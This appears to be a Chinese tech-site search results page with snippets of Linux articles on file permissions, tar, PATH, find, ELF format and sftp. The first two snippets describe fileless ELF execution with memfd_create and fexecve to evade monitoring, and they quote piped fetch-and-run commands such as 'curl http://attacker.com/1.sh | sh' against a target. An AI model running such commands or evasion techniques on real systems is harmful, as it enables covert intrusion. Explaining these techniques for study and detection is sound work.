首页
学习
活动
专区
圈层
工具
发布
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Linux无文件渗透执行ELF

    exe抓样本等,但是攻击者是否会通过某种类似于curl http://attacker.com/1.sh | sh的方法来执行elf二进制文件呢?...02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...perl语言中提供了一个syscall()方法可以满足我们的需求,当然python也可以,但是python实现该功能需要依赖第三方库。...第三部分就是执行该文件了,调用exec函数执行该匿名文件 ? 这里我们最后的EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?...可以看到我们的elf文件最终以匿名文件的方式在内存中被加载执行了,从匿名文件运行的程序与运行于普通文件的程序之间唯一真正的区别是/proc/pid/exe符号链接。

    6.1K80

    linux无文件执行— fexecve 揭秘

    前言 良好的习惯是人生产生复利的有力助手。 继续2020年的flag,至少每周更一篇文章,今天讲linux无文件执行。...无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux无文件执行的技巧,是后台朋友给我的提醒,万分感谢,又学到了新的东西。...linux无文件执行,首先要提到两个函数:memfd_create 和 fexecve。...大家可以看到shmopen 其实是在/dev/shm创建文件,而execve的执行文件为/proc/self/fd/3,为进程中打开的文件符号链接,这个指向的就是shm_open创建的文件,但是从监控execve...的角度来说, execve无法获取执行文件的路径,从而实现了混淆。

    5.4K40

    Linux删除乱码文件的方法

    当文件名为乱码的时候,无法通过键盘输入文件名,所以在终端下就不能直接利用rm,mv等命令管理文件了。 我们可以通过以下几种方法删除linux下的乱码文件。...(文件名为乱码) l 方法1 我们知道每个文件都有一个i节点号,我们可以考虑通过i节点号来管理文件。 首先,我们要取得文件的i节点号。这个可以通过ls命令的-i选项获得。...第二步,使用find命令将文件名传递给rm命令。 例: ? l 方法2 使用cp、mv和rm *的组合间接实现删除所有的乱码文件。 首先,把其他的非乱码命名的文件拷贝到其他的目录。...之后,删除该目录下的所有文件。 最后,把拷贝的文件移回原目录。 适用范围: 方法1:删除单个文件,或逐个删除乱码命名文件。 方法2:适用于乱码文件较多,又需要全部删除的情况。

    9.2K80

    linux可执行文件添加到PATH环境变量的方法

    linux命令行下面执行某个命令的时候,首先保证该命令是否存在,若存在,但输入命令的时候若仍提示:command not found 这个时候就的查看PATH环境变量的设置了,当前命令是否存在于PATH...环境变量中 #查看PATH: echo $PATH 举例说,命令 composr 在/usr/loca/bin 但执行的时候提示: -bash: composr: command not found 这个时候...#生效方法:立即生效 #有效期限:临时改变,只能在当前的终端窗口中有效,当前窗口关闭后就会恢#复原有的path配置 #用户局限:仅对当前用户 方法二: #通过修改.bashrc文件: vim ~/.bashrc.../.bashrc”命令,立即生效 #有效期限:永久有效 #用户局限:仅对当前用户 方法三: #通过修改profile文件: vim /etc/profile export PATH=/usr/local.../bin:$PATH #生效方法:系统重启 #有效期限:永久有效 #用户局限:对所有用户 方法四: #通过修改environment文件: vim /etc/environment 在PATH="/usr

    3.5K60

    Linux的文件的打包(tar方法)

    Linux的文件的打包(tar方法) tar -c: 建立压缩档案 -x:解压 -t:查看内容 -r:向压缩归档文件末尾追加文件 -u:更新原压缩包中的文件 这五个是独立的命令,压缩解压都要用到其中一个...# tar -cf all.tar *.jpg 这条命令是将所有.jpg的文件打成一个名为all.tar的包。-c是表示产生新的包,-f指定包的文件名。...# tar -rf all.tar *.gif 这条命令是将所有.gif的文件增加到all.tar的包里面去。-r是表示增加文件的意思。...生成一个umcompress压缩过的包,命名为jpg.tar.Z rar a jpg.rar *.jpg //rar格式的压缩,需要先下载rar for linux zip jpg.zip *.jpg...//zip格式的压缩,需要先下载zip for linux 解压 tar -xvf file.tar //解压 tar包 tar -xzvf file.tar.gz //解压tar.gz tar -xjvf

    3.2K10

    Linux的文件权限及修改方法

    Linux最优秀的地方之一就是在于它的多人多任务环境而为了让各个使用者具有较保密的文件数据,因此文件的权限管理就变的很重要了。...Linux一般将文件可存取的身份分为三个类别,分别是拥有者(owner)、所属群组(group)、其他人(others),且三种身份各有 读(read)、写(write)、执行(execute)等权限。...接下来我们来看看剩下字符代表的含义: 前三个字符:rwx 代表文件拥有者的权限,这里即可读、可写、可执行 中间三个字符:r-x 代表文件所属用户组的权限,这里即可读、可执行,但不能写 后三个字符:r-x...,我们可以这么执行 如上图所示,在chmod执行之前,文件.bashrc的权限为rw-r--r-- 在命令chmod执行后(黄色框框),文件.bashrc的权限更改为rwxrwxrwx (2)符号类型修改文件权限...没错,两种以上两种方法都可以达到这个目的~ 好啦,这次就到这里了,下次我们会讲到Linux目录配置。临近学期期末,杂事比较多,可能要鸽那么几天,我们下次见!

    4.7K10

    Linux中的查找文件方法

    Linux中的四种查找文件方法 ? 一、which which命令的作用是,在PATH变量指定的路径中,搜索某个系统命令的位置,并且返回第一个搜索结果。 也就是说它返回的是你该命令所处的位置。...下面是一些whereis的命令参数: -b 定位可执行文件。 -m 定位帮助文件。 -s 定位源代码文件。 -u 搜索默认路径下除可执行文件、源代码文件、帮助文件以外的其它文件。...-B 指定搜索可执行文件的路径。 -M 指定搜索帮助文件的路径。 -S 指定搜索源代码文件的路径。 ?...-print: #find命令将匹配的文件输出到标准输出。 -exec: #find命令对匹配的文件执行该参数所给出的shell命令。...-ok: #和-exec的作用相同,只不过以一种更为安全的模式来执行该参数所给出的shell命令,在执行每一个命令之前,都会给出提示,让用户来确定是否执行。

    7.5K10

    linux中.sh文件是什么?怎么执行?

    大家好,又见面了,我是你们的朋友全栈君。 一、linux中.sh文件是什么? linux中.sh文件是脚本文件,一般都是bash脚本。 二、linux中的.sh文件怎么执行? 1、直接..../加上文件名.sh,如运行hello.sh为 ..../hello.sh 【绝对路径下也可以,但hello.sh必须有x权限】 使用绝对路径执行: 对于文件是否具有x权限,可以目录文件夹下(存放当前文件的文件夹)输入 ll...命令查看,没有可使用 chmod u+x hello.sh 2、直接sh 加上文件名.sh,如运行hello.sh为 sh hello.sh【hello.sh可以没有x权限】 版权声明:本文内容由互联网用户自发贡献...如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

    21.7K30

    详解 Linux 可执行文件 ELF 文件的内部结构

    ELF 文件载入内存并执行。...and Linkable Format) 所谓的 ELF 文件,翻译过来就是“可执行与可链接文件”,是一种用于二进制文件之间相互调用的可执行文件格式,通过链接即可引入调用,拥有非常强大的可扩展性和灵活性...在 linux 中,可执行文件、Object文件、动态库文件都是ELF格式文件,他相当于 windows 操作系统中的 PE 文件。 通过 readelf 命令可以读取 ELF 文件的内容。 3....可重定位文件, 2. 可执行文件, 3....别忘了我们的目标,我们需要通过汇编语言编写的 loader 程序将在 linux 环境上编译的 C 语言内核程序载入到内存并执行,因此,实际上我们只需要知道 ELF 文件需要如何被载入内存,并从哪里开始执行

    3.3K21

    Linux中利用ssh传输文件的方法

    本来打算倒腾vsftp的,结果在搞完ssh之后发现他有个sftp,据说比ftp更安全而且更方便,更重要的是完全不用重新配置啦~~ 使用的前提当然是在ssh的配置文件里不把sftp的那一行注释掉。...登录的的方法与ssh一样(因为sftp就是ssh 的一个程式。)...sftp通常有下面的命令: get 命令:get 目标文件 本地路径(get 文件夹 加 -r参数) put 命令:put 本地文件 目标路径(put 文件夹 加 -r参数) 其他命令:比如ls cd...rm rmdir pw mkdir啥啥啥的,不过为了区别,对本地进行操作的时候命令变成了lls lcd lpwd lmkdir,也是有道理。...实际上基于ssh登陆的文件传输工作还可以由scp命令完成,方法是: 上传文件:scp [本地用户名 @IP 地址 : ]文件名 1 远程用户名 @IP 地址 : 文件名 2 myths@myths-X450LD

    3.1K30

    Linux文件基本属性设置的方法

    Linux系统是一种典型的多用户系统,不同的用户处于不同的地位,拥有不同的权限。为了保护系统的安全性,Linux系统对不同的用户访问同一文件(包括目录文件)的权限做了不同的规定。...在以上实例中,mysql 文件是一个目录文件,属主和属组都为 mysql,属主有可读、可写、可执行的权限;与属主同组的其他用户有可读和可执行的权限;其他用户也有可读和可执行的权限。...9个属性 Linux文件属性有两种设置方法,一种是数字,一种是符号。...在以上实例中,mysql 文件是一个目录文件,属主和属组都为 mysql,属主有可读、可写、可执行的权限;与属主同组的其他用户有可读和可执行的权限;其他用户也有可读和可执行的权限。...9个属性 Linux文件属性有两种设置方法,一种是数字,一种是符号。

    2.9K30
    领券